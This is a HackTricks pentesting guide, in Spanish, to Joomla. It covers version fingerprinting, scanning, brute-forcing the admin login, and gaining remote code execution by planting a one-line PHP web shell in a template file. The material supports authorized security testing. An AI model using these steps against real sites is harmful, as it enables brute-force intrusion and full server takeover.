hacktricks/network-services-pentesting/pentesting-web/joomla.md

6.2 KiB

Joomla

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Estadísticas de Joomla

Joomla recopila algunas estadísticas de uso anónimas como la distribución de versiones de Joomla, PHP y bases de datos, y sistemas operativos de servidores en uso en instalaciones de Joomla. Estos datos se pueden consultar a través de su API pública.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Enumeración

Descubrimiento/Huellas

  • Verificar el meta
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Versión

  • En /administrator/manifests/files/joomla.xml **** puedes ver la versión.
  • En /language/en-GB/en-GB.xml puedes obtener la versión de Joomla.
  • En plugins/system/cache/cache.xml puedes ver una versión aproximada.

Automático

droopescan scan joomla --url http://joomla-site.local/

Fuerza Bruta

Puedes usar este script para intentar realizar un ataque de fuerza bruta en el inicio de sesión.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

Si lograste obtener credenciales de administrador puedes realizar RCE dentro de él añadiendo un fragmento de código PHP para obtener RCE. Podemos hacer esto personalizando una plantilla.

  1. Haz clic en Plantillas en la parte inferior izquierda bajo Configuración para abrir el menú de plantillas.
  2. Haz clic en el nombre de una plantilla. Vamos a elegir protostar bajo el encabezado de columna Plantilla. Esto nos llevará a la página Plantillas: Personalizar.
  3. Finalmente, puedes hacer clic en una página para abrir el código fuente de la página. Vamos a elegir la página error.php. Añadiremos un PHP de una línea para obtener ejecución de código de la siguiente manera:
    1. system($_GET['cmd']);
  4. Guardar y Cerrar
  5. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥